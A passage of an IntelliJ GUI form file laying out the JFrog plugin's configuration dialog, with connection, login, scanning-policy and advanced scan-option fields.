id=\"4a8e4\" class=\"javax.swing.JRadioButton\" binding=\"ssoLoginSelection\">\n            <constraints>\n              <grid row=\"1\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"SSO Login\"/>\n            </properties>\n          </component>\n          <component id=\"b9995\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"2\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Connection Details\"/>\n            </properties>\n          </component>\n          <component id=\"9b2da\" class=\"javax.swing.JLabel\" binding=\"platformUrlTitle\">\n            <constraints>\n              <grid row=\"3\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"JFrog Platform URL      \"/>\n            </properties>\n          </component>\n          <component id=\"99f62\" class=\"com.intellij.ui.components.JBTextField\" binding=\"platformUrl\">\n            <constraints>\n              <grid row=\"3\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <toolTipText value=\"Example: https://acme.jfrog.io\"/>\n            </properties>\n          </component>\n          <component id=\"d44b1\" class=\"javax.swing.JButton\" binding=\"advancedExpandButton\">\n            <constraints>\n              <grid row=\"4\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <horizontalTextPosition value=\"10\"/>\n              <text value=\"Advanced\"/>\n            </properties>\n          </component>\n          <grid id=\"20350\" class=\"org.jdesktop.swingx.JXCollapsiblePane\" binding=\"setSeparately\" layout-manager=\"GridLayoutManager\" row-count=\"3\" column-count=\"2\" same-size-horizontally=\"false\" same-size-vertically=\"false\" hgap=\"-1\" vgap=\"-1\">\n            <margin top=\"0\" left=\"0\" bottom=\"0\" right=\"0\"/>\n            <constraints>\n              <grid row=\"5\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <collapsed value=\"true\"/>\n            </properties>\n            <border type=\"none\"/>\n            <children>\n              <component id=\"4d996\" class=\"javax.swing.JLabel\" binding=\"xrayUrlTitle\">\n                <constraints>\n                  <grid row=\"1\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n                </constraints>\n                <properties>\n                  <text value=\"JFrog Xray URL\"/>\n                  <toolTipText value=\"\"/>\n                </properties>\n              </component>\n              <component id=\"f92ad\" class=\"com.intellij.ui.components.JBTextField\" binding=\"xrayUrl\">\n                <constraints>\n                  <grid row=\"1\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n                </constraints>\n                <properties>\n                  <toolTipText value=\"Example: https://acme.jfrog.io/xray\"/>\n                </properties>\n              </component>\n              <component id=\"a6009\" class=\"javax.swing.JLabel\" binding=\"artifactoryUrlTitle\">\n                <constraints>\n                  <grid row=\"2\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n                </constraints>\n                <properties>\n                  <text value=\"JFrog Artifactory URL        \"/>\n                  <toolTipText value=\"\"/>\n                </properties>\n              </component>\n              <component id=\"f6921\" class=\"com.intellij.ui.components.JBTextField\" binding=\"artifactoryUrl\">\n                <constraints>\n                  <grid row=\"2\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n                </constraints>\n                <properties>\n                  <toolTipText value=\"Example: https://acme.jfrog.io/artifactory\"/>\n                </properties>\n              </component>\n            </children>\n          </grid>\n          <component id=\"27f28\" class=\"javax.swing.JButton\" binding=\"loginButton\">\n            <constraints>\n              <grid row=\"6\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <horizontalTextPosition value=\"10\"/>\n              <text value=\"Login\"/>\n            </properties>\n          </component>\n          <component id=\"a71b8\" class=\"javax.swing.JLabel\" binding=\"authenticationMethodTitle\">\n            <constraints>\n              <grid row=\"9\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Authentication method\"/>\n            </properties>\n          </component>\n          <component id=\"6f374\" class=\"javax.swing.JRadioButton\" binding=\"usernamePasswordRadioButton\" default-binding=\"true\">\n            <constraints>\n              <grid row=\"9\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Username and password\"/>\n            </properties>\n          </component>\n          <component id=\"aff26\" class=\"javax.swing.JRadioButton\" binding=\"accessTokenRadioButton\" default-binding=\"true\">\n            <constraints>\n              <grid row=\"9\" column=\"2\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Access token\"/>\n            </properties>\n          </component>\n          <component id=\"a8f26\" class=\"javax.swing.JLabel\" binding=\"usernameTitle\">\n            <constraints>\n              <grid row=\"10\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Username\"/>\n            </properties>\n          </component>\n          <component id=\"d208\" class=\"com.intellij.ui.components.JBTextField\" binding=\"username\">\n            <constraints>\n              <grid row=\"10\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties/>\n          </component>\n          <component id=\"59d39\" class=\"javax.swing.JLabel\" binding=\"passwordTitle\">\n            <constraints>\n              <grid row=\"11\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Password\"/>\n            </properties>\n          </component>\n          <component id=\"38b32\" class=\"com.intellij.ui.components.JBPasswordField\" binding=\"password\">\n            <constraints>\n              <grid row=\"11\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties/>\n          </component>\n          <component id=\"92e18\" class=\"javax.swing.JLabel\" binding=\"accessTokenTitle\">\n            <constraints>\n              <grid row=\"12\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Access token\"/>\n            </properties>\n          </component>\n          <component id=\"89090\" class=\"com.intellij.ui.components.JBPasswordField\" binding=\"accessToken\" default-binding=\"true\">\n            <constraints>\n              <grid row=\"12\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties/>\n          </component>\n          <vspacer id=\"d7093\">\n            <constraints>\n              <grid row=\"13\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"6\" hsize-policy=\"1\" anchor=\"0\" fill=\"2\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n          </vspacer>\n          <component id=\"b81b8\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"14\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Connection Testing\"/>\n            </properties>\n          </component>\n          <component id=\"62866\" class=\"javax.swing.JButton\" binding=\"testConnectionButton\" default-binding=\"true\">\n            <constraints>\n              <grid row=\"15\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Test connection\"/>\n            </properties>\n          </component>\n          <component id=\"344ac\" class=\"com.intellij.ui.components.JBLabel\" binding=\"connectionResults\">\n            <constraints>\n              <grid row=\"15\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <enabled value=\"true\"/>\n              <font name=\"Courier 10 Pitch\"/>\n              <horizontalAlignment value=\"10\"/>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <hspacer id=\"f880c\">\n            <constraints>\n              <grid row=\"1\" column=\"3\" row-span=\"1\" col-span=\"1\" vsize-policy=\"1\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n          </hspacer>\n          <component id=\"a8c73\" class=\"javax.swing.JRadioButton\" binding=\"setCredentialsManuallySelection\">\n            <constraints>\n              <grid row=\"1\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Set Credentials Manually\"/>\n            </properties>\n          </component>\n          <component id=\"5d973\" class=\"com.intellij.ui.HyperlinkLabel\" binding=\"infoPanel\">\n            <constraints>\n              <grid row=\"16\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"9\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties/>\n          </component>\n          <component id=\"a319e\" class=\"com.intellij.ui.components.JBTextArea\" binding=\"ssoCode\">\n            <constraints>\n              <grid row=\"8\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <editable value=\"false\"/>\n              <font name=\"JetBrains Mono\" size=\"28\" style=\"1\"/>\n              <text value=\"SSOC\"/>\n            </properties>\n          </component>\n          <component id=\"88875\" class=\"com.intellij.ui.components.JBLabel\" binding=\"ssoLoginInstructionsLabel\">\n            <constraints>\n              <grid row=\"7\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"SSO login instructions\"/>\n            </properties>\n          </component>\n        </children>\n      </grid>\n      <grid id=\"eca9a\" binding=\"settings\" layout-manager=\"GridLayoutManager\" row-count=\"16\" column-count=\"3\" same-size-horizontally=\"false\" same-size-vertically=\"false\" hgap=\"-1\" vgap=\"-1\">\n        <margin top=\"0\" left=\"0\" bottom=\"0\" right=\"0\"/>\n        <constraints>\n          <tabbedpane title=\"Settings\"/>\n        </constraints>\n        <properties/>\n        <border type=\"none\"/>\n        <children>\n          <component id=\"f3e60\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"1\" column=\"0\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"JFrog Project\"/>\n            </properties>\n          </component>\n          <component id=\"e3a1d\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"3\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <text value=\"    Optionally use the project key field to allow the security and license compliance information displayed\"/>\n            </properties>\n          </component>\n          <component id=\"88b43\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"4\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <text value=\"    in IntelliJ IDEA, to reflect the security policies required by your organization.\"/>\n            </properties>\n          </component>\n          <component id=\"29da7\" class=\"com.intellij.ui.components.JBTextField\" binding=\"project\">\n            <constraints>\n              <grid row=\"2\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"30\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n              <toolTipText value=\"Name of the Artifactory project. Used for context to Xray scanning.\"/>\n            </properties>\n          </component>\n          <component id=\"fcf75\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"2\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"1\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"109\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"    Project key\"/>\n            </properties>\n          </component>\n          <hspacer id=\"cf763\">\n            <constraints>\n              <grid row=\"0\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"1\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n          </hspacer>\n          <component id=\"dbbb3\" class=\"com.intellij.ui.HyperlinkLabel\" binding=\"projectInstructions\">\n            <constraints>\n              <grid row=\"7\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"6282\" class=\"com.intellij.ui.HyperlinkLabel\" binding=\"policyInstructions\">\n            <constraints>\n              <grid row=\"8\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"b8be8\" class=\"com.intellij.ui.HyperlinkLabel\" binding=\"watchInstructions\">\n            <constraints>\n              <grid row=\"9\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <vspacer id=\"2a357\">\n            <constraints>\n              <grid row=\"15\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"6\" hsize-policy=\"1\" anchor=\"0\" fill=\"2\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"293\" height=\"14\"/>\n              </grid>\n            </constraints>\n          </vspacer>\n          <component id=\"f2e0a\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"10\" column=\"0\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Scanning Policy\"/>\n            </properties>\n          </component>\n          <component id=\"6e971\" class=\"javax.swing.JRadioButton\" binding=\"allVulnerabilitiesRadioButton\">\n            <constraints>\n              <grid row=\"11\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"All vulnerabilities\"/>\n            </properties>\n          </component>\n          <component id=\"f6c62\" class=\"javax.swing.JRadioButton\" binding=\"accordingToProjectRadioButton\">\n            <constraints>\n              <grid row=\"12\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"According to Project\"/>\n            </properties>\n          </component>\n          <component id=\"b204b\" class=\"javax.swing.JRadioButton\" binding=\"accordingToWatchesRadioButton\">\n            <constraints>\n              <grid row=\"13\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"According to Watches\"/>\n            </properties>\n          </component>\n          <component id=\"90a38\" class=\"com.intellij.ui.components.JBTextField\" binding=\"watches\">\n            <constraints>\n              <grid row=\"13\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"30\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n              <toolTipText value=\"A comma separated list of Xray watches. Used for context to Xray scanning.\"/>\n            </properties>\n          </component>\n          <component id=\"449ce\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"5\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <text value=\"    Also, the CI view will show only builds associated with this project.\"/>\n            </properties>\n          </component>\n          <hspacer id=\"91322\">\n            <constraints>\n              <grid row=\"2\" column=\"2\" row-span=\"1\" col-span=\"1\" vsize-policy=\"1\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n          </hspacer>\n          <component id=\"36f3c\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"6\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <text value=\"    Follow these steps if you’d like to set a project:\"/>\n            </properties>\n          </component>\n          <component id=\"4fca0\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"14\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <text value=\" A comma separated list of Xray watches.\"/>\n            </properties>\n          </component>\n          <component id=\"7a43\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"12\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"30\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <focusable value=\"false\"/>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"42ee4\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"11\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"30\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <enabled value=\"false\"/>\n              <focusable value=\"false\"/>\n              <text value=\"\"/>\n            </properties>\n          </component>\n        </children>\n      </grid>\n      <grid id=\"b5e9b\" binding=\"advanced\" layout-manager=\"GridLayoutManager\" row-count=\"16\" column-count=\"4\" same-size-horizontally=\"false\" same-size-vertically=\"false\" hgap=\"-1\" vgap=\"-1\">\n        <margin top=\"0\" left=\"0\" bottom=\"0\" right=\"0\"/>\n        <constraints>\n          <tabbedpane title=\"Advanced\"/>\n        </constraints>\n        <properties>\n          <minimumSize width=\"0\" height=\"0\"/>\n          <preferredSize width=\"133\" height=\"384\"/>\n        </properties>\n        <border type=\"none\"/>\n        <children>\n          <component id=\"4bae3\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"4\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" indent=\"2\" use-parent-layout=\"false\">\n                <preferred-size width=\"109\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"Excluded directories:\"/>\n              <toolTipText value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"a1d59\" class=\"com.intellij.ui.components.JBTextField\" binding=\"excludedPaths\">\n            <constraints>\n              <grid row=\"4\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"133\" height=\"30\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"&quot;**/*{.git,.idea,test,node_modules}*&quot;\"/>\n              <toolTipText value=\"Pattern of project paths to exclude from Xray scanning for npm and Go projects.\"/>\n            </properties>\n          </component>\n          <component id=\"72110\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"5\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"1\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <font size=\"11\"/>\n              <foreground color=\"-6513248\"/>\n              <text value=\"&lt;html&gt;&#10;A glob pattern in the shape of **/*{dir-1, dir-2 ...dir-n}*&#10;&lt;br&gt;&#10;This is used to exclude specific local directory paths from being scanned by the plugin.&#10;&lt;br&gt;&#10;For example, to avoid a package.json file under a directory named testdata from being scanned.&#10;&lt;br&gt;&#10;This is supported only by Gradle, npm, and Go projects.&#10;&lt;/html&gt;\"/>\n            </properties>\n          </component>\n          <component id=\"b50f7\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"3\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Scan Options\"/>\n            </properties>\n          </component>\n          <component id=\"52b21\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"0\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Connection Options\"/>\n            </properties>\n          </component>\n          <component id=\"50914\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"1\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" indent=\"2\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Connection retries:\"/>\n              <toolTipText value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"4e0ed\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"2\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" indent=\"2\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Connection timeout:\"/>\n              <toolTipText value=\"Time in seconds\"/>\n            </properties>\n          </component>\n          <component id=\"11827\" class=\"com.jfrog.ide.idea.ui.configuration.ConnectionRetriesSpinner\" binding=\"connectionRetries\">\n            <constraints>\n              <grid row=\"1\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"1\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"0\" height=\"0\"/>\n              </grid>\n            </constraints>\n            <properties/>\n          </component>\n          <component id=\"17168\" class=\"com.jfrog.ide.idea.ui.configuration.ConnectionTimeoutSpinner\" binding=\"connectionTimeout\">\n            <constraints>\n              <grid row=\"2\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"1\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"0\" height=\"0\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <editor value=\"\"/>\n              <name value=\"\"/>\n              <toolTipText value=\"Time in seconds\"/>\n            </properties>\n          </component>\n          <component id=\"d9985\" class=\"com.intellij.ui.TitledSeparator\">\n            <constraints>\n              <grid row=\"12\" column=\"0\" row-span=\"1\" col-span=\"4\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <text value=\"Scanner Binary Version\"/>\n            </properties>\n          </component>\n          <component id=\"4bae4\" class=\"javax.swing.JLabel\" binding=\"scannerBinaryVersionJLabel\">\n            <constraints>\n              <grid row=\"13\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" indent=\"2\" use-parent-layout=\"false\">\n                <preferred-size width=\"109\" height=\"16\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"Version override:\"/>\n              <toolTipText value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"b2961\" class=\"com.intellij.ui.components.JBTextField\" binding=\"scannerBinaryVersionJBTextField\">\n            <constraints>\n              <grid row=\"13\" column=\"1\" row-span=\"1\" col-span=\"2\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\">\n                <preferred-size width=\"200\" height=\"-1\"/>\n              </grid>\n            </constraints>\n            <properties>\n              <text value=\"\"/>\n            </properties>\n          </component>\n          <component id=\"a8bbe\" class=\"javax.swing.JLabel\">\n            <constraints>\n              <grid row=\"14\" column=\"1\" row-span=\"1\" col-span=\"3\" vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"1\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <font size=\"11\"/>\n              <foreground color=\"-6513248\"/>\n              <text value=\"&lt;html&gt;Leave empty to use the default version. Override to use a specific analyzer manager version.&lt;/html&gt;\"/>\n            </properties>\n          </component>\n          <vspacer id=\"1a765\">\n            <constraints>\n              <grid row=\"15\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"6\" hsize-policy=\"1\" anchor=\"0\" fill=\"2\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n          </vspacer>\n          <hspacer id=\"c34be\">\n            <constraints>\n              <grid row=\"1\" column=\"2\" row-span=\"1\" col-span=\"1\" vsize-policy=\"1\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n          </hspacer>\n          <component id=\"5b819\" class=\"com.intellij.ui.components.ActionLink\" binding=\"scanOptionsRestoreDefaultsActionLink\">\n            <constraints>\n              <grid row=\"4\" column=\"3\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"4\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n            </constraints>\n            <properties>\n              <label value=\"Restore Defaults\"/>\n              <text value=\"Restore Defaults\"/>\n            </properties>\n          </component>\n          <component id=\"772b2\" class=\"com.intellij.ui.components.ActionLink\" binding=\"connectionOptionsRestoreDefaultsActionLink\">\n            <constraints>\n              <grid row=\"1\" column=\"3\" row-span=\"1\" 